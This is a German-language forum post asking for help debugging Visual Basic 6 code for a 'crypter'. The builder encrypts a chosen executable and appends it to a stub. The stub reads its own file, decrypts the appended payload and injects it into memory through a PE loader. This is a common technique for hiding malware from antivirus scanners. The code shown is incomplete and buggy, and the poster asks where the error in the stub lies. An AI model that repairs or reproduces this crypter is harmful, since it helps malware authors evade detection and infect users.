Hallo Leute , bin schon am verzweifeln
Kann mir bitte jemand sagen, wo hier der Fehler steckt?
Wäre sehr dankbar.
Crypter :
Code:
Private Sub Build_Click(Index As Integer)
Dim StubData As String
Dim Data As String
Dim abc As String
Dim c As New clsCryptAPI
Open App.Path & "\stub.exe" For Binary As #1
StubData = Space(LOF(1))
Get #1, , StubData
Close #1
Open Text1.Text For Binary As #1
Data = Space(LOF(1))
Get #1, , Data
Close #1
abc = c.EncryptString(Data)
Open App.Path & "\Test.exe" For Binary As #1
Put #1, , StubData
Put #1, , abc
Close #1
End Sub
Stub :
Code:
Private Sub Main()
Dim sPath As String
Dim Data As String
Dim SplittedData() As String
Dim cCrypt As New clsCryptAPI
Dim def As String
sPath = ThisExe
Open sPath For Binary As #1
Data = Space(LOF(1))
Get #1, , Data
Close #1
SplittedData() = Split(Data)
def = cCrypt.DecryptString(SplittedData(1))
mPEL.InjectExe sPath, StrConv(SplittedData(1), vbFromUnicode)
End Sub
Glaube irgendwo in der Stub, aber wo ??